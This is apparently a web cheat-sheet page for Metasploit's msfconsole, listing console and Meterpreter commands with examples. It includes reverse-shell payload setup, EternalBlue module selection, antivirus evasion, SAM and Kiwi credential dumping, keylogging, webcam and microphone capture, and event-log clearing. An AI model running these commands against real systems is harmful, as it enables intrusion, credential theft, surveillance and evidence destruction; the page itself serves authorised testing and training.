# msfconsole

> The interactive console for Metasploit: search, configure and run modules, manage sessions and work with the database.

- Category: Exploitation
- Commands: 140
- Page: https://terminal.rokibulroni.com/tool/exploitation/msfconsole
- Homepage: https://www.metasploit.com
- Documentation: https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
- Tags: Metasploit, console, sessions

## Install

- apt: `sudo apt install metasploit-framework`

## Console Startup

### msfconsole

```bash
msfconsole
```

Launches the Metasploit Framework interactive console

### msfconsole -q

```bash
msfconsole -q
```

Starts the console in quiet mode without displaying the banner

### msfconsole -r

```bash
msfconsole -r
```

Example:

```bash
msfconsole -r setup.rc
```

Starts the console and executes a resource script containing automated commands


## Global Help and Documentation

### help

```bash
help
```

Displays the main help menu with available core commands

### help <command>

```bash
help <command>
```

Example:

```bash
help search
```

Displays specific usage instructions for a particular command

### version

```bash
version
```

Shows the currently installed version of the Metasploit Framework


## Global Navigation

### history

```bash
history
```

Displays the list of previously executed commands in the current session

### connect

```bash
connect
```

Example:

```bash
connect 192.168.1.10 80
```

Connects to a remote host and port like netcat/telnet for verification


## Database Management

### db_status

```bash
db_status
```

Checks the connection status to the backend PostgreSQL database

### workspace

```bash
workspace
```

Lists all available workspaces

### workspace -a

```bash
workspace -a
```

Example:

```bash
workspace -a RedTeamLab
```

Creates and switches to a new isolated workspace

### workspace <name>

```bash
workspace <name>
```

Example:

```bash
workspace RedTeamLab
```

Switches the active context to an existing workspace


## Importing External Scan Results

### db_import

```bash
db_import
```

Example:

```bash
db_import /path/to/nessus_scan.nessus
```

Imports scan results from tools like Nmap, Nessus, or Qualys into the database


## Database Management

### db_nmap

```bash
db_nmap
```

Example:

```bash
db_nmap -sV -p 445 192.168.1.0/24
```

Runs Nmap wrapper and automatically saves results to the database


## Hosts and Services

### hosts

```bash
hosts
```

Lists all hosts discovered in the current workspace

### hosts -c

```bash
hosts -c
```

Example:

```bash
hosts -c address,os_name
```

Lists hosts displaying only specific columns

### services

```bash
services
```

Lists all services discovered on stored hosts

### services -p

```bash
services -p
```

Example:

```bash
services -p 445
```

Filters and displays only services running on a specific port

### vulns

```bash
vulns
```

Displays all vulnerabilities recorded for the targets in the database


## Module Discovery

### search

```bash
search
```

Example:

```bash
search smb
```

Searches for modules related to a keyword

### search type

```bash
search type
```

Example:

```bash
search type:exploit platform:windows
```

Filters search results by module type and target platform

### search cve

```bash
search cve
```

Example:

```bash
search cve:2017-0144
```

Searches for modules matching a specific CVE identifier

### search author

```bash
search author
```

Example:

```bash
search author:rapid7
```

Searches for modules written by a specific author


## Module Selection

### use

```bash
use
```

Example:

```bash
use exploit/windows/smb/ms17_010_eternalblue
```

Selects a specific module to configure and execute

### use <index>

```bash
use <index>
```

Example:

```bash
use 0
```

Selects a module by its index number from the previous search results


## Module Information

### info

```bash
info
```

Displays detailed information about the currently selected module

### info -d

```bash
info -d
```

Displays the documentation and references for the module in markdown format


## Module Configuration

### show options

```bash
show options
```

Lists the basic configurable options for the active module

### show advanced

```bash
show advanced
```

Displays advanced options for fine-tuning the module behavior

### show targets

```bash
show targets
```

Lists the available target systems/versions for the exploit

### show evasion

```bash
show evasion
```

Shows options specifically designed to evade IDS/IPS and antivirus

### set

```bash
set
```

Example:

```bash
set RHOSTS 192.168.1.10
```

Sets a value for a specific option in the current module context

### setg

```bash
setg
```

Example:

```bash
setg RHOSTS 192.168.1.0/24
```

Sets a global variable that persists across different module selections

### unset

```bash
unset
```

Example:

```bash
unset RHOSTS
```

Removes the value of a specific option

### unsetg

```bash
unsetg
```

Example:

```bash
unsetg RHOSTS
```

Removes a global variable


## Payload Selection

### show payloads

```bash
show payloads
```

Lists compatible payloads for the currently selected exploit

### set payload

```bash
set payload
```

Example:

```bash
set payload windows/x64/meterpreter/reverse_tcp
```

Selects the specific payload to deliver upon successful exploitation


## Payload Configuration

### set LHOST

```bash
set LHOST
```

Example:

```bash
set LHOST 10.10.10.5
```

Sets the listening address (attacker IP) for the reverse connection

### set LPORT

```bash
set LPORT
```

Example:

```bash
set LPORT 4444
```

Sets the listening port on the attacker machine

### generate

```bash
generate
```

Example:

```bash
generate -f exe -o payload.exe
```

Generates a standalone payload file based on current configurations


## Encoding and Evasion

### show encoders

```bash
show encoders
```

Lists available encoders to obfuscate the payload

### set ENCODER

```bash
set ENCODER
```

Example:

```bash
set ENCODER x86/shikata_ga_nai
```

Applies a specific encoder to the payload


## Exploit Execution

### check

```bash
check
```

Validates if the target is vulnerable without actually exploiting it

### exploit

```bash
exploit
```

Executes the exploit module against the target

### run

```bash
run
```

Alias for exploit, often used with auxiliary and post modules

### exploit -j

```bash
exploit -j
```

Runs the exploit in the context of a background job

### exploit -z

```bash
exploit -z
```

Exploits the target but does not interact with the session immediately


## Background Jobs

### jobs

```bash
jobs
```

Lists all currently running background jobs

### jobs -k

```bash
jobs -k
```

Example:

```bash
jobs -k 1
```

Terminates a specific background job by its ID

### kill

```bash
kill
```

Example:

```bash
kill 1
```

Kills a running job (alias for jobs -k)


## Handler Management

### handler

```bash
handler
```

Example:

```bash
handler -H 10.10.10.5 -P 4444 -p windows/meterpreter/reverse_tcp
```

Quickly starts a payload handler without using the multi/handler module


## Session Management

### sessions

```bash
sessions
```

Lists all active open sessions

### sessions -i

```bash
sessions -i
```

Example:

```bash
sessions -i 1
```

Interacts with a specific session ID, entering the shell or meterpreter

### sessions -u

```bash
sessions -u
```

Example:

```bash
sessions -u 1
```

Attempts to upgrade a basic shell session to a full Meterpreter session

### sessions -k

```bash
sessions -k
```

Example:

```bash
sessions -k 1
```

Kills a specific active session


## Meterpreter Core

### sysinfo

```bash
sysinfo
```

Displays information about the remote system, OS, and architecture

### getuid

```bash
getuid
```

Displays the user the server is running as

### getsystem

```bash
getsystem
```

Attempts to elevate privileges to SYSTEM using various techniques

### background

```bash
background
```

Backgrounds the current meterpreter session returning to msfconsole


## Meterpreter File System

### pwd

```bash
pwd
```

Prints the current working directory on the remote machine

### ls

```bash
ls
```

Lists files in the current remote directory

### cd

```bash
cd
```

Example:

```bash
cd C:\Users
```

Changes the current directory on the remote machine

### cat

```bash
cat
```

Example:

```bash
cat flags.txt
```

Displays the contents of a file on the remote system

### upload

```bash
upload
```

Example:

```bash
upload /usr/share/tools/nc.exe C:\Windows\Temp\nc.exe
```

Uploads a file from the attacker to the victim machine

### download

```bash
download
```

Example:

```bash
download C:\Windows\System32\config\SAM /tmp/SAM
```

Downloads a file from the victim to the attacker machine

### edit

```bash
edit
```

Example:

```bash
edit hosts.txt
```

Opens a file on the remote system in the local editor (vim)

### search -f

```bash
search -f
```

Example:

```bash
search -f *.kdbx
```

Searches the file system for files matching a pattern


## Meterpreter Process Mgmt

### ps

```bash
ps
```

Lists running processes on the remote system

### getpid

```bash
getpid
```

Gets the process ID of the current meterpreter injection

### migrate

```bash
migrate
```

Example:

```bash
migrate 1432
```

Moves the meterpreter session into another running process ID

### execute

```bash
execute
```

Example:

```bash
execute -f cmd.exe -i -H
```

Executes a command on the remote system, optionally hidden

### kill

```bash
kill
```

Example:

```bash
kill 4402
```

Terminates a process on the remote system by PID


## Meterpreter Network

### ipconfig

```bash
ipconfig
```

Displays network interfaces and IP addresses on the target

### ifconfig

```bash
ifconfig
```

Alias for ipconfig

### netstat

```bash
netstat
```

Displays network connections and listening ports on the target

### arp

```bash
arp
```

Displays the ARP cache of the remote system

### route

```bash
route
```

Displays the routing table of the remote system


## Meterpreter Pivoting

### portfwd add

```bash
portfwd add
```

Example:

```bash
portfwd add -l 3389 -p 3389 -r 10.10.10.50
```

Forwards a local port to a remote service through the meterpreter session

### portfwd list

```bash
portfwd list
```

Lists active port forwarding rules


## Console Pivoting

### route add

```bash
route add
```

Example:

```bash
route add 10.10.10.0 255.255.255.0 1
```

Routes traffic for a subnet through a specific session ID

### route print

```bash
route print
```

Displays the active routing table in msfconsole


## Meterpreter System

### shell

```bash
shell
```

Drops into a standard system command shell (cmd or bash)

### idletime

```bash
idletime
```

Displays how long the user has been idle

### reboot

```bash
reboot
```

Reboots the remote system

### shutdown

```bash
shutdown
```

Shuts down the remote system


## Credential Access

### hashdump

```bash
hashdump
```

Dumps the contents of the SAM database (password hashes)

### creds_all

```bash
creds_all
```

Dumps all retrieved credentials (plaintext and hashes) via kiwi extension


## Input Capture

### keyscan_start

```bash
keyscan_start
```

Starts the keylogger on the remote system

### keyscan_dump

```bash
keyscan_dump
```

Dumps the captured keystrokes

### keyscan_stop

```bash
keyscan_stop
```

Stops the keylogger


## Surveillance

### screenshot

```bash
screenshot
```

Takes a screenshot of the remote desktop

### screenshare

```bash
screenshare
```

Watches the remote desktop in real-time via web browser

### webcam_list

```bash
webcam_list
```

Lists available webcams on the target

### webcam_snap

```bash
webcam_snap
```

Takes a picture using the remote webcam

### record_mic

```bash
record_mic
```

Example:

```bash
record_mic -d 10
```

Records audio from the default microphone for X seconds


## Anti-Forensics

### timestomp

```bash
timestomp
```

Example:

```bash
timestomp file.txt -z
```

Manipulates file MACE attributes (timestamp)

### clearev

```bash
clearev
```

Clears the Application, System, and Security event logs on Windows


## Post Exploitation Selection

### use post

```bash
use post
```

Example:

```bash
use post/windows/gather/enum_patches
```

Selects a post-exploitation module


## Post Exploitation Configuration

### set SESSION

```bash
set SESSION
```

Example:

```bash
set SESSION 1
```

Target a specific active session for the post module


## Post Exploitation Execution

### run

```bash
run
```

Executes the post-exploitation module against the session


## Auxiliary Scanners

### use auxiliary

```bash
use auxiliary
```

Example:

```bash
use auxiliary/scanner/smb/smb_version
```

Selects an auxiliary scanning module

### run

```bash
run
```

Runs the scanner


## Local Exploit Suggester

### use post/multi/recon/local_exploit_suggester

```bash
use post/multi/recon/local_exploit_suggester
```

Checks the session for missing patches and suggests local exploits


## Socks Proxy

### use auxiliary/server/socks_proxy

```bash
use auxiliary/server/socks_proxy
```

Sets up a SOCKS proxy to pivot external tools through MSF sessions


## Loot Management

### loot

```bash
loot
```

Lists all collected loot (hashes, files, keys)

### loot -t

```bash
loot -t
```

Example:

```bash
loot -t hash
```

Lists loot filtered by type


## Credential Management

### creds

```bash
creds
```

Lists all credentials stored in the database

### creds -a

```bash
creds -a
```

Example:

```bash
creds -a user:pass
```

Manually adds a credential to the database


## Automation

### makerc

```bash
makerc
```

Example:

```bash
makerc setup.rc
```

Saves all commands executed in the current session to a resource file

### resource

```bash
resource
```

Example:

```bash
resource setup.rc
```

Executes a resource script file containing msfconsole commands

### setg

```bash
setg
```

Example:

```bash
setg Prompt %T
```

Customizes the console prompt (e.g., adding timestamps)


## Logging

### spool

```bash
spool
```

Example:

```bash
spool /tmp/msf_log.txt
```

Starts logging all console output to a file

### spool off

```bash
spool off
```

Stops logging console output


## Module Editing

### edit

```bash
edit
```

Opens the currently selected module code in the default editor


## Developer

### reload_all

```bash
reload_all
```

Reloads all modules from disk (useful when developing custom modules)


## Payload Generation

### use payload

```bash
use payload
```

Example:

```bash
use payload/windows/meterpreter/reverse_tcp
```

Selects a payload module directly for generation

### to_handler

```bash
to_handler
```

Creates a handler for the currently selected payload module


## Cleanup

### unset all

```bash
unset all
```

Unsets all options for the current module


## Advanced Option

### set VERBOSE

```bash
set VERBOSE
```

Example:

```bash
set VERBOSE true
```

Enables verbose output for more detailed execution logs

### set WfsDelay

```bash
set WfsDelay
```

Example:

```bash
set WfsDelay 10
```

Sets the wait-for-session delay in seconds for slow exploits

### set AutoRunScript

```bash
set AutoRunScript
```

Example:

```bash
set AutoRunScript post/windows/manage/migrate
```

Automatically runs a script upon successful session creation

### set PrependMigrate

```bash
set PrependMigrate
```

Example:

```bash
set PrependMigrate true
```

Automatically migrates the payload process immediately after exploitation

### set ExitOnSession

```bash
set ExitOnSession
```

Example:

```bash
set ExitOnSession false
```

Keeps the listener open even after a session is created

### set StagerBlockSize

```bash
set StagerBlockSize
```

Example:

```bash
set StagerBlockSize 8192
```

Adjusts the block size for staging payloads to evade some IPS signatures


## Module Type

### show nop

```bash
show nop
```

Lists NOP (No Operation) generators for buffer padding


## Red Team Workflow

### use evasion

```bash
use evasion
```

Example:

```bash
use evasion/windows/windows_defender_exe
```

Selects an evasion module designed to bypass AV/EDR


## Wait Command

### sleep

```bash
sleep
```

Example:

```bash
sleep 5
```

Pauses execution for a specified number of seconds (useful in scripts)


## Ruby Execution

### irb

```bash
irb
```

Drops into an interactive Ruby shell within the console context


## Target Management

### db_rebuild_cache

```bash
db_rebuild_cache
```

Rebuilds the module search cache in the background


## Notes

### notes

```bash
notes
```

Lists notes attached to hosts in the database

### notes -a

```bash
notes -a
```

Example:

```bash
notes -a "DC Server"
```

Adds a manual note to a specific host


## Configuration

### save

```bash
save
```

Saves the current global options and settings to the config file


## Console Interface

### color

```bash
color
```

Example:

```bash
color false
```

Disables color output in the console


## Host Management

### hosts -d

```bash
hosts -d
```

Example:

```bash
hosts -d 192.168.1.10
```

Deletes a specific host from the database


## Service Management

### services -u

```bash
services -u
```

Example:

```bash
services -uup
```

Lists only services that are currently up/running


## Search

### search -S

```bash
search -S
```

Example:

```bash
search -S keyword
```

Searches strictly for the query string


## Meterpreter Extension

### load kiwi

```bash
load kiwi
```

Loads the Kiwi (Mimikatz) extension in Meterpreter

### load python

```bash
load python
```

Loads the Python extension to run python code in memory

### load powershell

```bash
load powershell
```

Loads the PowerShell extension to run PS scripts in memory


## Console Termination

### exit

```bash
exit
```

Exits the Metasploit console

## Related tools

- [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit)
- [msfvenom](https://terminal.rokibulroni.com/tool/exploitation/msfvenom)
